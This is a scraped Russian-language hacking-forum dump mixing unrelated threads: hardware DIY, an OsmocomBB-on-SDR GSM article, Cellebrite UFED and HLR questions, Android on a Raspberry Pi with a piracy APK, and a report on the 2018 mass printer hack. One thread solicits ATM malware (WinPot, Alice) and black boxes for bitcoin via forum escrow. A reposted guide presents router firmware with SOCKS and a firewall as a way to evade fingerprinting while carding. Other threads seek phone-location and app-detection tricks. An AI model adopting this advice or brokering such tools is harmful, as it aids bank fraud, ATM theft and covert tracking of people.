![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13119%2F42.jpg&hash=73bd2d8148ad063b871c6ccf8048dc97)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13120%2F43.jpg&hash=8c2d9fda386ccc77d4dd9aaae048ff5e)

Итоговая конфигурация устройства

Выводы
На этом работа пока что закончена, но простор для улучшений здесь огромный.

Во-первых, в соответствии с задумкой в моем «Трубуке» можно апгрейдить практически все, начиная с матрицы и заканчивая антенной Wi-Fi или батареей. При желании можно даже полностью сменить платформу, заменив материнскую плату и процессор.

Во-вторых, можно усовершенствовать и дизайн, не меняя основные комплектующие. Например, уменьшить габариты корпуса за счет использования slim-матрицы и более плотной компоновки комплектующих.

Если ты захочешь повторить мой проект или модернизировать его, то 3D-модели, чертежи и комплектующие качай по ссылке. Большую часть компонентов можно найти на AliExpress.

WWW

Автор @ Jaw
хакер.ру

Atm Malware
ID: 676535aeb4103b69df373686
Thread ID: 36485
Created: 2020-04-18T13:39:08+0000
Last Post: 2020-05-16T13:32:52+0000
Author: gple1312
Replies: 9 Views: 3K

Привет

Я заинтересован в покупке Malvar для Atm.
Я много читал о различиях между WinPot, Alice и smillar ...

Также о некоторых чёрных ящиках и raspbps и подобных гаджетах, которые мне было бы интересно купить.
Но я не нашел много продавцов доверия. У меня есть готовые биткойны, и я работаю с garant на этом сайте.

Пожалуйста, напишите мне для дальнейшего контакта

Индикатор занятой телефонной линии
ID: 676535aeb4103b69df373711
Thread ID: 3586
Created: 2005-04-22T15:23:00+0000
Last Post: 2005-04-22T15:23:00+0000
Author: s3po
Replies: 0 Views: 3K

Если в квартире имеется несколько телефонных аппаратов (ТА) в разных комнатах, подключенных к одной телефонной линии, то данное устройство вам просто необходимо. При поступлении телефонного вызова часто снимают трубку на всех ТА, что вызывает осложнения в начале разговора. Если же необходимо позвонить из одной комнаты, а в другой в это время идет телефонный разговор, то приходится неоднократно поднимать трубку, чтобы узнать освободилась ли линия. Бывают также случаи, когда на одном из телефонных аппаратов плохо положена трубка и, не зная об этом, можно не дождаться нужного звонка.

Избавиться от всех перечисленных неудобств поможет электрическая схема, приведенная на рис. 2.1. Она позволяет иметь световую индикацию при снятой трубке на любом из ТА.

Схема подключается к телефонной линии параллельно с ТА в любом удобном месте, например можно установить ее внутри корпуса каждого ТА, закрепив светодиод HL1 на видном месте.

Электрическую схему можно упростить, исключив диодный мост VD1, но при этом подключать устройство к телефонной линии необходимо соблюдая полярность, указанную на схеме.

Принцип работы устройства основан на использовании изменения напряжения в телефонной линии. Так, если телефонная линия не занята, то напряжение на ней около 60 вольт, а при снятии трубки на любом из ТА, оно снижается до 6...15 В (в зависимости от внутреннего сопротивления ТА).

Схема состоит из детектора уровня напряжения линии на транзисторе VT1 и усилителя тока на VT2, VT3. Транзистор VT1 работает в режиме микротоков, что обеспечивает ему максимальный коэффициент усиления. По этой причине он будет находиться в одном из двух состояний: заперт или
открыт, что зависит от напряжения питания.

При настройке напряжения срабатывания индикатора потребуется подбор номинала резистора R3, а при изготовлении схемы допустимо применять R1, R2 — от 3 МОм до 5,1 МОм и R4 — от 750 кОм до 1 МОм.

Светодиод HL1 можно заменить на АЛ310А или любой из серии КИП, а диодный мост VD1 четырьмя диодами типа КД102А, Б.

Проверку работы схемы лучше проводить, подав от регулируемого источника постоянное напряжение 6...15 В (при этом должен светиться индикатор HL1). Постепенно повышая напряжение до 30 В, следует убедиться что при напряжении более 20 В светодиод гаснет.

Приведенная схема показала себя надежной в работе и не оказывает влияния на работу телефонной линии.

Ток потребления схемы от телефонной линии при опущенной трубке не превышает 0,01 мА.

Топология односторонней печатной платы и располо жение на ней элементов (без VD1). Размеры платы выбраны с учетом возможности установить ее в стандартное телефонное гнездо.

Схемы кину на мыло кому надо.

Поговорим о UFED
ID: 676535aeb4103b69df373692
Thread ID: 29301
Created: 2019-05-14T15:11:07+0000
Last Post: 2019-11-03T05:49:51+0000
Author: pablo
Replies: 2 Views: 3K

Cellebrite UFED – это лучшее автономное устройство для снятия с мобильного телефона данных для расследования ИТ-инцидентов, как на месте происшествия, так и в криминалистической лаборатории. UFED расшифровывается как Universal forensic extraction device, универсальный прибор для извлечения криминалистических данных.

UFED извлекает важные данные, например, книги, фотографии, видеозаписи, текстовые сообщения, журналы вызовов, данные ESN и IMEI, а затем собирает данные в отчеты для проведения исследований и сбора доказательств. Имея поддержку наибольшего числа моделей телефонов на сегодняшнем рынке, UFED может извлечь данные из примерно 2500 устройств, что составляет 95% всех телефонов, включая смартфоны, КПК и сотовые телефоны.

Click to expand...

UFED много модификаций - UFED Touch 2, UFED Physical Analyzer, UFED 4PC, UFED Cellebrite, для разных платформ (телефон, планшеты, настольные рс, ноутбук)

Этот комплекс используют наши органы во время криминалистических экспертиз. СК России закупил себе недавно такие.
А в интернете очень мало инфы по нему.

вот видосики работы:
более старенькое видео

поновее:

У кого-то есть более полная инфа? как работает, что за чудо? какая цена? и как такой девайс купить физ лицу?

HLR запросы
ID: 676535aeb4103b69df373694
Thread ID: 31071
Created: 2019-08-14T20:50:49+0000
Last Post: 2019-10-24T15:00:20+0000
Author: 4eburtraktor
Replies: 11 Views: 3K

Какой сейчас рабочий HLR сервис через web, чтоб показывал роуминг?

Кард-роутер:smile8:
ID: 676535aeb4103b69df373696
Thread ID: 32456
Created: 2019-10-12T18:29:31+0000
Last Post: 2019-10-17T23:45:07+0000
Author: kotvasilkin
Replies: 10 Views: 3K

Статья не моя, взял с коровы.

Дело было вечером, было скучно и делать было нечего)) И решил я поделиться с народом как-то давно найденной мной "фишкой".
А именно - библиотекой прошивок различных роутеров под формат аппаратного впн шлюза с возможностью подключения носков прямо в роутере.
А так же аппаратным фаерволом, который напрочь закрывает вашу систему от фигня-принтов и прочей дряни, что так хорошо палит нас при вбиве)
На траст и уникальность я не претендую - просто вижу что не все нашли это дело и жалуются на тотальный деклайн. По соседним форумам такие прошивки продают по 200$ и выше. Но зачем платить за то, что просто лежит в свободном доступе?
Вот список роутеров которые можно прошить - [https://wiki.dd- wrt.com/wiki/index.p...ported_Devices](https://wiki.dd- wrt.com/wiki/index.php/Supported_Devices)
Вот пример мануала по руотеру Asus -
2.jpg3.jpg4.jpg5.jpg

Немного шаманства и веры в чудеса и вся сеть видит твой комп как роутер корпоративной сети который через впн и бакс-коннект работает на гаваях.. а не в русской глубинке)) И придраться почти не к чему)

Как собрать GSM телефон на базе SDR
ID: 676535aeb4103b69df37369e
Thread ID: 30124
Created: 2019-07-02T12:46:41+0000
Last Post: 2019-07-02T12:46:41+0000
Author: weaver
Prefix: GSM
Replies: 0 Views: 3K

Ни для кого не секрет, что в уже привычных для большинства из нас смартфонах кроме основного процессора существует отдельный модуль связи, благодаря которому смартфон все еще остается телефоном. Вне зависимости от основной операционной системы, будь то Android или iOS, данный модуль чаще всего работает под управлением проприетарной операционной системы с закрытым исходным кодом, и берет на себя всю работу, связанную с голосовыми вызовами, SMS-сообщениями и мобильным Интернетом.

В отличие от проприетарного программного обеспечения проекты с открытым исходным кодом всегда получают больше внимания со стороны исследователей безопасности. Возможность заглянуть «под капот» и узнать, как работает тот или иной компонент программы, позволяет не только находить и исправлять всевозможные ошибки, но и убедиться в отсутствии так называемых «закладок» в коде. Кроме того, открытый исходный код позволяет начинающим разработчикам учиться на примере более опытных, используя результаты их работы в качестве опоры.

Введение в проект OsmocomBB

Именно поэтому в уже далеком 2008 году начал зарождаться проект Osmocom — Open Source Mobile Communications. Изначально все внимание разработчиков было сфокусировано на единственном дочернем проекте OpenBSC, который позволял запускать свою сотовую связь на многокилограммовых коммерческих базовых станциях и впервые был представлен в 2008 году на ежегодной конференции Chaos Communication Congress.

Со временем Osmocom вышел за рамки одного проекта, и сегодня объединяет десятки дочерних проектов, одним из которых является OsmocomBB — свободная реализация стека GSM для мобильных телефонов с открытым исходным кодом. В отличие от своих предшественников, таких как TSM30, MADos для Nokia 33XX и Airprobe, рассматриваемый нами проект получил гораздо больше внимания со стороны исследователей и разработчиков, и, более того, продолжает развиваться сейчас.

Изначально основной задачей OsmocomBB являлось создание полноценной прошивки для сотовых телефонов с открытым исходным кодом, включая графический интерфейс и другие специфичные для них компоненты, и упором на альтернативную реализацию стека протоколов GSM. Однако данная идея не встретила бурной реакции со стороны потенциальных пользователей, поэтому сегодня OsmocomBB — это незаменимый набор инструментов для исследований и одновременно неплохая база знаний для новичков в GSM.

С помощью OsmocomBB можно оценить безопасность той или иной сети стандарта GSM, а также на практике изучать, как работает радиоинтерфейс (Um-интерфейс) в сотовых сетях. Какое шифрование используется и используется ли оно вообще? Как часто изменяются ключи шифрования и временные идентификаторы абонентов? Какова вероятность того, что голосовой вызов или SMS-сообщение будут перехвачены или, например, подделаны злоумышленником? На все эти вопросы и многие другие можно довольно быстро найти ответ с помощью OsmocomBB, и это только один пример из возможных способов его применения. Из нетипичных примеров можно выделить: запуск небольшой базовой станции GSM, исследование безопасности SIM-карт и сниффинг трафика.

Основной аппаратной платформой OsmocomBB, по аналогии с проектом Aircrack-ng и сетевыми картами, являются мобильные телефоны на базе чипсета Calypso, преимущественно Motorola C1XX. Решение использовать именно телефоны было принято на начальном этапе разработки проекта, преимущественно в пользу скорости реализации, поскольку процесс проектирования и производства нового оборудования мог затянуться надолго. К тому же, тогда в свободном доступе уже были «утекшие» части исходного кода и спецификации чипсета Calypso, что способствовало реверс-инжинирингу прошивки и всей дальнейшей разработке.

4076

Однако у данного решения есть своя цена. Телефоны на базе описанного выше чипсета больше не производятся, что вынуждает искать бывшие в употреблении модели. Более того, текущая реализация физического уровня стека GSM в основном опирается на DSP (Digital Signaling Processor) — сигнальный процессор, который по-прежнему исполняет неизученный до конца проприетарный код. Оба перечисленных фактора негативно влияют на развитие проекта, ограничивая его потенциальные возможности и усложняя порог вхождения как сторонних разработчиков, так и пользователей проекта в целом. Например, реализация поддержки GPRS невозможна без изменения прошивки DSP.

Ветер перемен — новая аппаратная платформа

Программная часть проекта состоит из множества отдельных приложений, у каждого из которых свое конкретное предназначение. Часть приложений работает непосредственно на компьютере, в любой UNIX-подобной среде. Другая часть представлена в виде прошивок, загружаемых в телефон. А взаимосвязь между ними осуществляется через последовательный порт телефона, который совмещен с разъемом подключения гарнитуры. Иными словами, ничем непримечательный TRS- разъем (micro-jack, 2,5 мм) может использоваться не только для передачи звука, но и данных! Похожая технология используется и в современных смартфонах, позволяя подключать наушники с кнопками, монопод для селфи и прочие аксессуары.

Отсутствие других интерфейсов, таких как USB, и необходимость использования последовательного порта так же накладывают определенные ограничения, наиболее значимым из которых является скорость передачи данных. Например, частично возможности сниффинга и запуска базовой станции ограничены именно из-за низкой пропускной способности интерфейса. Более того, готовый кабель для подключения телефона к USB найти довольно сложно, и в большинстве случаев его приходится делать самостоятельно, что к тому же усложняет порог вхождения пользователей.

Совокупность этих факторов в определенный момент породила идею перехода на другую аппаратную платформу, которая не ограничивала бы проект ни программно и не аппаратно, а также была бы доступна для всех, как в плане производства, так и в плане цены. И технология SDR (Software Defined Radio), в связи с бурным ростом своей популярности и доступности, как раз соответствует данным требованиям.

4077

Концепция SDR заключается в разработке радиооборудования общего назначения, т.е. не привязанного к конкретному стандарту связи. Благодаря этому технология получила большое распространение как среди радиолюбителей, так и среди производителей коммерческого оборудования. Уже сегодня SDR активно используется в сотовой связи, а именно для развертывания сетей стандартов GSM, UMTS и LTE.

Сама идея разработки и запуска мобильного телефона GSM, реализуемого проектом OsmocomBB, на базе SDR не нова. Данное направление когда-то развивалось разработчиками Osmocom, но было заброшено. Кроме того, известно об аналогичной исследовательской работе Швейцарской лаборатории, которая, к сожалению, остановилась на уровне Proof-of- Concept. Но мы все-таки решили возобновить работу над данным направлением, поставив перед собой задачу реализации поддержки новой аппаратной платформы для OsmocomBB на базе SDR, идентичной чипсету Calypso с точки зрения обратной совместимости, и более открытой к модификациям одновременно.

В дальнейшей части данной статьи будет вкратце описан процесс разработки новой платформы, а также проблемы, с которыми мы столкнулись, и способы их решения. В качестве заключения, будут предоставлены результаты, которых удалось достичь, ограничения текущей реализации, идеи для дальнейшей разработки, а также небольшая подсказка, описывающая порядок действий для запуска OsmocomBB на SDR.

История проекта

Как уже говорилось ранее, OsmocomBB предоставляет два типа приложений: одни работают на стороне компьютера, другие загружаются в телефон в составе альтернативной прошивки. А взаимодействие между ними реализуется небольшой программой osmocon (от слова connection), которая обеспечивает их взаимное соединение через последовательный порт. Само взаимодействие осуществляется посредством простого бинарного протокола L1CTL (GSM Layer 1 Control), где существует всего три типа сообщений: запрос (REQ), ответ (CONF) и уведомление (IND).

Идею такого посредничества было решено сохранить, как и сам протокол, чтобы обеспечить «прозрачную» совместимость с имеющимися приложениями. В результате чего, было реализовано новое приложение — trxcon, которое, словно мост, работает между высокоуровневыми приложениями (такими как mobile и ccch_scan) и трансивером — отдельным приложением, управляющим SDR. Отсюда и происходит название trxcon (transceiver connection).

4078

Трансивер является отдельной программой, которая выполняет низкоуровневые задачи физического уровня GSM, такие как частотно-временная синхронизация с сетью, обнаружение и демодуляция сигнала, модуляция и передача исходящего сигнала. Из готовых решений, существует два подходящих проекта: OsmoTRX и GR- GSM. Первый является улучшенной модификацией трансивера из проекта OpenBTS, и сейчас используется проектами Osmocom для запуска базовой станции; второй предоставляет набор блоков GNU Radio для приема и декодирования сигналов GSM.

Несмотря на полноту реализации и поддержку передачи сигнала «из коробки», OsmoTRX вряд ли может порадовать разработчика чистотой и читабельностью исходного кода — гремучая смесь Си и С++! Например, изменение сравнительно небольшого участка кода может потребовать изучения всей иерархии классов, в то время как GR-GSM предоставляет несравнимую с OsmoTRX модульность и свободу модификаций. Тем не менее, OsmoTRX все равно имеет ряд преимуществ, наиболее важными из которых являются производительность, низкие требования к ресурсам системы и сравнительно меньший размер исполняемого кода, а также его зависимостей. Все это делает проект достаточно дружелюбным к встраиванию в системы с ограниченными ресурсами, на фоне чего GNU Radio выглядит огромным и прожорливым монстром. Изначально вся разработка была ориентирована именно на OsmoTRX, однако итоговый выбор был сделан в пользу использования второго проекта в качестве трансивера.

Для обеспечения обратной совместимости, в связывающем приложении trxcon был реализован интерфейс TRX, который так же используется в проектах OsmoTRX, OsmoBTS и OpenBTS. Данный интерфейс для каждого соединения подразумевает использование трех UDP-сокетов, у каждого из которых своя специфичная задача. Одним из них является интерфейс CTRL, который позволяет управлять трансивером (настройка частоты, усиления, и т.д.). Другой называется DATA, и согласно названию обеспечивает обмен информацией, которую нужно передать (Uplink) или которая уже была принята (Downlink). Последний, CLCK, используется для передачи временных меток от трансивера.

4079

Для GR-GSM было реализовано новое приложение grgsm_trx, задачей которого является инициализация базового набора блоков (flow-graph), а также предоставление TRX-интерфейса для внешнего управляющего приложения, в нашем случае – trxcon. Сам flow-graph изначально состоял только из блоков для приема, т.е. обнаружения и демодуляции, наименьших порций информации физического интерфейса GSM — bursts. Каждый burst на выходе демодулятора представляет собой битовую последовательность, состоящую в основном из полезной нагрузки и мидамбулы, которая позволяет приемнику синхронизироваться с передатчиком, но в отличие от преамбулы находится в середине.

4080

На данном этапе разработки проекта высокоуровневые приложения, такие как ccch_scan, уже могли настроить SDR на определенную частоту, запустить процесс синхронизации с базовой станцией и демодуляцию принимаемого сигнала. Однако вместе с первыми успехами появились и первые трудности. Поскольку большая часть реализации физического уровня в OsmocomBB ранее «опиралась» на DSP телефона, кодирование и декодирование пакетов согласно спецификации GSM 05.03 отдельно реализовано не было – его выполнял проприетарный код.

В итоге, только что реализованный трансивер передает верхним слоям реализации битовые порции информации, т.е. bursts, а текущая реализация верхних слоев ждет от физического уровня байтовые LAPDm-пакеты (в основном, по 23 байта каждый). Более того, работа трансивера подразумевает точную временную синхронизацию (TDMA – Time Division Multiple Access) с базовой станцией, в то время как высокоуровневые приложения об этом даже и не “подозревают” и передают исходящие пакеты тогда, когда им это необходимо.

Для устранения получившегося «провала» в реализации был реализован TDMA- планировщик, который принимает LAPDm-пакеты от высокоуровневых приложений, кодирует их в bursts и передает трансиверу, определяя время их передачи с помощью номеров фрейма и таймслота, а также собирает воедино bursts, приходящие от трансивера, декодирует их и отправляет верхним слоям. Под кодированием и декодированием согласно GSM 05.03 подразумевается создание помехоустойчивых битовых последовательностей (путем добавления избыточной информации), а также восстановление LAPDm-пакетов из принятых зашумленных последовательностей с помощью алгоритма Витерби соответственно.

4081

Звучит запутанно, но похожий процесс кодирования / декодирования LAPDm-пакетов имеет место как на стороне мобильного телефона, так и на стороне базовой станции. К счастью в нашем распоряжении оказалась ее свободная реализация с открытым исходным кодом — OsmoBTS (Osmocom Base Transceiver Station). Весь код данного проекта, связанный с GSM 05.03 был переработан, задокументирован и перенесен в основную библиотеку проекта Osmocom — libosmocore, в качестве дочерней библиотеки libosmocoding. Теперь благодаря этому многие проекты, включая OsmocomBB, GR-GSM, OsmoBTS и другие, могут пользоваться общей реализацией без дупликации кода. Сам TDMA-планировщик был реализован по аналогии с OsmoBTS, но с учетом особенностей работы мобильного телефона.

После этого, прием все-таки заработал! Но самой главной возможности, которая просто необходима для работы мобильного телефона, по-прежнему не хватало — возможности передавать данные. Проблема в том, что изначально в GR-GSM отсутствовали блоки, которые позволили бы модулировать и передавать сигнал. И к счастью автор проекта, Piotr Krysik, поддержал идею их реализации, в результате чего дальнейшая работа над проектом продолжалась совместно с ним.

Чтобы зря не терять время, пока возможность передачи данных отсутствовала и шла работа над ее реализацией, было разработано временное, но, как оказалось позже, очень полезное решение — набор инструментов для эмуляции трансивера, т.е. виртуальный Um-интерфейс. Поскольку OsmocomBB, как и OsmoBTS, теперь поддерживает TRX-интерфейс, оба проекта можно легко соединить между собой: каждый Downlink burst со стороны OsmoBTS передавать приложению trxcon, а каждый Uplink burst со стороны OsmocomBB передавать OsmoBTS. Простое приложение, написанное на языке Python и получившее название FakeTRX, позволило запускать виртуальную GSM-сеть без какого-либо оборудования!

4082

Благодаря этому набору инструментов в дальнейшем было найдено и исправлено довольно большое количество багов в реализации TDMA-планировщика, а также реализована поддержка выделенных каналов, таких как SDCCH и TCH. Первый тип логических каналов в GSM в основном используется для передачи SMS, USSD- запросов и (иногда) установления голосовых звонков. А второй — непосредственно для передачи голоса во время звонка. Кроме того, на базе проекта GAPK (GSM Audio Packet Knife) была реализована базовая поддержка записи и кодирования, а также декодирования и воспроизведения звука в OsmocomBB, поскольку до этого данная задача так же выполнялась силами DSP телефона.

4083

Тем временем Piotr Krysik разработал и успешно реализовал все недостающие блоки, необходимые для передачи сигнала. Поскольку в GSM используется модуляция GMSK (Gaussian Minimum Shift Keying), им был задействован уже имеющийся в составе GNU Radio блок – GMSK Modulator. Однако основная проблема заключалась в обеспечении синхронизации с базовой станцией. Каждый передаваемый burst должен передаваться вовремя, согласно выделенному базовой станцией разрешенному периоду времени, называемому таймслотом. Не раньше и не позже, хоть и с учетом небольшой погрешности, которая компенсируется защитными периодами в системе TDMA. Ситуацию усложняло отсутствие точного задающего генератора у большинства SDR-устройств, в результате чего вся система, как говорят радиолюбители, «плывет по времени».

4084

Однако решение данной проблемы все же было найдено, и заключается оно в использовании аппаратного времени (hardware clock) SDR-девайсов, таких как USRP, на основе которого каждый принимаемый burst получает «штамп» текущего аппаратного времени. Сопоставив эти штампы и текущий номер фрейма, декодированный из SCH burst, можно выполнять коррекцию и назначить точный момент передачи исходящих порций информации. Проблема только в том, что стандартные блоки GNU Radio, предназначенные для взаимодействия с SDR, не поддерживают временные штампы, поэтому их пришлось заменить на UHD Source и Sink, ограничившись поддержкой устройств семейства USRP.

4085

В итоге когда трансивер был готов к работе, пришло время выходить за рамки виртуального Um-интерфейса. Но, как говорится, первый блин комом, поэтому первая попытка «собрать все воедино» и запустить проект на реальном оборудовании конечно же не удалась. Из виду была упущена особенность технологии временного разделения в GSM: отсчет времени для передаваемого телефоном сигнала, т.е. Uplink, специально замедлен относительно принимаемого, т.е. Downlink, на три таймслота, что дает телефонам с полудуплексным модулем связи необходимый запас времени на перестройку частоты. После небольшой коррекции проект все-таки заработал! Впервые с помощью OsmocomBB и SDR удалось передать SMS-сообщение и выполнить первый голосовой звонок.

Результаты

В результате проделанной работы удалось создать своего рода мост между OsmocomBB и SDR-трансиверами, работающими через драйвер UHD (Universal Hardware Driver). Были реализованы основные компоненты физического уровня GSM, необходимые для работы высокоуровневых приложений, таких как ccch_scan, cbch_scan и mobile. Все наработки проекта были опубликованы в открытом доступе в составе основного репозитория OsmocomBB.

Теперь, используя SDR в качестве аппаратной платформы для OsmocomBB, становится возможным запуск полностью «прозрачного» стека протоколов GSM, без проприетарных компонентов с закрытым исходным кодом, таких как DSP телефонов на базе чипсета Calypso, и одновременно с возможностью отладки и модификации каждого конкретного элемента реализации «на лету». К тому же, перед разработчиками и исследователями открываются новые горизонты, например:

Упомянутый выше инструментарий для создания виртуального Um-интерфейса тоже опубликован в репозитории проекта и может пригодиться как опытным разработчикам, например, для симуляции необходимых уровней нагрузки на различные компоненты инфраструктуры сотовой сети и тестирования их стабильности, так и начинающим пользователям, которые могут начать изучение GSM на практике без необходимости искать и приобретать различное оборудование для этого.

Однако текущая реализация новой аппаратной платформы для OsmocomBB все же не лишена определенных ограничений, большая часть из которых исходят от самой технологии SDR. Например, большинство доступных SDR-плат, таких как USRP, UmTRX, LimeSDR, и т.д., имеют относительно малую мощность передаваемого сигнала, если сравнивать ее с максимальной мощностью передачи обычных телефонов. Еще одним «пробелом» в реализации является отсутствие поддержки технологии Frequency Hopping, которая предполагает использование абонентом сразу нескольких базовых станций на разных частотах, что позволяет уменьшить уровень интерференции и усложнить перехват сигнала. Ее можно встретить в сетях большинства современных операторов, к тому же, спецификации GSM описывают поддержку данной технологии как обязательной для каждого телефона. И если проблему с мощностью сигнала можно решить с помощью усилителей или ограничившись использованием лабораторной базовой станции, то реализация поддержки Frequency Hopping требует гораздо больших усилий.

Среди планов дальнейшего развития проекта:

Проект также был представлен на 34-ом ежегодном конгрессе Chaos Computer Club:

[ https://cdn.media.ccc.de/congress/2017/h264-hd/34c3-8952-eng- Running_GSM_mobile_phone_on_SDR.mp4 ](https://cdn.media.ccc.de/congress/2017/h264-hd/34c3-8952-eng- Running_GSM_mobile_phone_on_SDR.mp4)

Вместо заключения

И напоследок несколько советов о том, как запустить результаты проделанной работы на своем SDR. Для начала предлагаем поэкспериментировать с виртуальным Um-интерфейсом с помощью разработанного нами TRX Toolkit.

Для этого понадобится не только OsmocomBB, но и весь набор компонентов центральной инфраструктуры сети от Osmocom: либо OsmoNiTB (Network in The Box), либо все компоненты по отдельности, включая BTS, BSC, MSC, MGW, HLR, и т.д. Инструкции по сборке исходных кодов можно найти на сайте проекта или воспользоваться готовыми пакетами для дистрибутивов Debian, Ubuntu или OpenSUSE.

Для тестирования реализации с собственной сети, подойдет любая доступная реализация сетевого стека GSM, например, Osmocom, OpenBTS или YateBTS. Запуск своей сети требует наличия отдельного SDR-девайса, или коммерческой базовой станции, например, nanoBTS. Тестировать проект в реальных сетях операторов настоятельно не рекомендуется, ввиду описанных выше ограничений и возможных недоработок.

Для сборки трансивера потребуется установка GNU Radio и сборка отдельной ветки проекта GR-GSM из исходных кодов. Подробности сборки и использования трансивера также можно найти на сайте проекта Osmocom.

Успехов!

Источник: SecurityLab.Ru

Оператор по номеру телефона 2
ID: 676535aeb4103b69df37369f
Thread ID: 28688
Created: 2019-04-09T19:34:25+0000
Last Post: 2019-06-27T05:08:03+0000
Author: GoogleFI
Replies: 1 Views: 3K

Друзья поделитись инфой или мыслями если у кого есть... как определять что телфонный номер пренадлежит или использует google Fi как оператора? и есть ли пособ по клику с мобильника понять какие приложения установлены на нем...
заранее благодарю.

Установка OS Android на Raspberry Pi 3
ID: 676535aeb4103b69df3736a5
Thread ID: 29223
Created: 2019-05-10T17:43:29+0000
Last Post: 2019-05-16T02:00:34+0000
Author: tabac
Replies: 3 Views: 3K

Содержание статьи:

1. Введение
2.
**Шаги для установки
3. Установка Terrarium TV
4. Заключение **

1. Введение

Операционная система Android не спешит выходить на Raspberry Pi, хотя и использует процессор ARM.

Есть пакеты, которые безо всяких проблем могут быть установлены на Pi и позволить системе Android работать в полную силу.

Я перепробовал многие из этих пакетов в прошлом с переменным успехом.

Недавно я снова искал версию операционной системы Android для установки на Pi 3 и наткнулся на достаточно интересную сборку, скачанную с сайта konstakang.com.

Он запускает модифицированные версии установки LineageOS 14.1 (Android 7.1.2) для Raspberry Pi 3.

Он поставляется с базовым браузером, папкой с файлами и несколькими другими приложениями.

Play Store не установлен, что было достаточно хорошо для меня, так как я загружаю APK с таких сайтов, как Terrarium TV или Kodi.

После установки Android Build от Konstakang я скачал и установил Terrarium TV, и все это работало очень хорошо.

Kodi также очень популярен и может быть проинсталлирован с помощью установщика пакетов, такого как OSMC, что может быть еще проще, если будет использоваться только Kodi.

Запускать Kodi и Terrarium TV в одной и той же операционной системе довольно таки приятно, а регулярное переключение между ними является лучшим сценарием действий.

Для получения дополнительной информации ознакомьтесь с этой статьей, посвященной тому, как установить Kodi на Raspberry Pi 3

Конечно, многие другие приложения могут быть использованы и установлены, так как это операционная система Android 7.1.2.

Ниже приведены шаги, которые я использовал для загрузки Android на Raspberry Pi и Terrarium TV.

2. Шаги для установки операционной системыAndroid на Raspberry Pi3
Видео инструкция находится в самом низу страницы.​

1. Первым шагом является загрузка LineageOS 14.1 Android 7.1.2 Build с сайта konstakang.com, на котором есть ссылка Скачать (Download).

Перейдите на страницу, прокрутите вниз и загрузите самую новую версию здесь. LineageOS 14.1 (Android 7.1.2)

2. После загрузки файла его необходимо извлечь, чтобы получить доступ непосредственно к файлу самого образа.

Если вы используете Windows, просто щелкните правой кнопкой мыши на «Загруженные файлы» (Downloaded File) и выберите «Извлечь ВСЕ» (Extract ALL).

3. После того, как файл образа распакован его можно записать на Micro SD- карту, которую использует Pi.

Следует использовать программное обеспечение для записи образов, чтобы записать пакет на SD-карту. Если у вас уже есть программное обеспечение нужного типа, то просто используйте его.

Если у вас нет таковой программы, то имейте ввиду, что Win32 Disk Imager является популярной бесплатной версией, которую можно использовать в этих целях.

Чтобы использовать его, просто загрузите извлеченный файл образа Android и запишите его на SD-карту.

Подойдет любая SD карта размером от 8 до 32GB.

Скачайте Win32DiskImager, используя эту ссылку: Win32 Disk Imager

4. Как только файл образа Android будет записан на SD-карту, извлеките её и вставьте в Raspberry Pi.

5. Подключите все необходимое, затем вы увидите логотип загрузки, который будет отображаться на экране некоторое время. Дайте ему некоторое время поработать, пока не появится главный экран.

** 3. Установка Terrarium TV на Raspberry Pi 3 **​

Terrarium TV - это популярный APK, который транслирует фильмы и телепередачи.

Ссылки на скачивание Terrarium TV вы можете найти практически везде, однако, они часто удаляются с одних ресурсов и появляются на других.

Ссылка, с которой я установил данное ПО: <https://terrarium- tv.en.uptodown.com/android>

Просто откройте браузер Android по умолчанию, перейдите на страницу загрузки и загрузите Terrarium TV APK.

Далее должен запуститься мастер установки и попросить разрешение на продолжение инсталляции программы. Если он не запрашивает автоматическую установку, откройте диспетчер файлов (File Manager), перейдите в раздел «Загрузки» (Downloads) и щелкните по нему, чтобы установить.

4. Заключение

В этом примере мы показали как использовать Raspberri Pi виде медиацентра. Впрочем "малину" можно использовать для пентеста, как настольный компьютер и еще многово.

Перевод: Анна Давыдова
Источник: [www.wirelesshack.org](https://www.wirelesshack.org/how-to- install-the-android-operating-system-to-a-raspberry-pi-3.html)

Взломать 50.000 принтеров за 5 минут
ID: 676535aeb4103b69df3736a8
Thread ID: 26733
Created: 2018-12-04T14:38:50+0000
Last Post: 2019-04-12T16:40:00+0000
Author: tabac
Replies: 1 Views: 3K

29 ноября 2018 года пользователь твиттера под псевдонимом @TheHackerGiraffe «взломал» более 50 000 сетевых принтеров и распечатал на них листовки с призывом подписываться на YouTube-канал некоего PewDiePie. Он говорит, что таким образом хотел способствовать популярности своего кумира, который сейчас сражается за 1-е место по количеству подписчиков на YouTube.

Здесь интересна простота, с которой хакеру удалось получить доступ к 50 000 принтеров. В сессии вопросов и ответов AMA на Reddit хакер раскрыл подробности этого взлома. Оказывается, в нём нет ничего сложного. Более того, в Сети свободно доступны программные инструменты для эксплуатации многих уязвимостей в старых прошивках принтеров. Повторить этот фокус может буквально любой желающий.

На иллюстрации: пeчать по[ raw-порту 9100](https://hacking- printers.net/wiki/index.php/Port_9100_printing)

Сообщения на тысячах принтеров вызвали настоящий переполох, поскольку они появились на множестве устройств в разных компаниях: от высококачественных многофункциональных принтеров в крупных корпорациях до небольших портативных принтеров квитанций на заправочных станциях и в ресторанах.

29 ноября 2018 года такое сообщение распечатали более 50 000 принтеров по всему миру. Фото опубликовал в твиттере пострадавший IT-администратор в Брайтоне (Великобритания). Одна из многих подобных фотографий в твиттере

Эта акция — часть большой кампании, которую развернули поклонники PewDiePie. Они сейчас изо всех сил агитируют в социальных сетях, чтобы шведский блогер сохранил лидерство по количеству подписчиков: в данный момент у него 72,6 млн подписчиков, а в спину дышит конкурирующий канал T-Series с 72,5 млн подписчиков.

Принтеры просто выводили текстовое сообщение с призывом подписаться на канал.

Аналогичные взломы

Нынешний взлом 50 000 принтеров не уникален. Такое происходило неоднократно. Например, нечто похожее провернул 24 марта 2016 года хакер weev (настоящее имя Эндрю Ауерхаймер), который вывел на тысячах сетевых принтеров расистские и антисемитские сообщения. Интересно, что Ауерхаймер присоединился к «белому движению» в тюрьме, где отбывал 41-месячный срок за предыдущее преступление, связанное с компьютерным взломом.

В феврале 2017 года этот трюк повторил другой хакер Stackoverflowin, который напечатал глупые рисунки на более чем 150 000 принтеров.


Сообщение Stackoverflowin

Технические детали

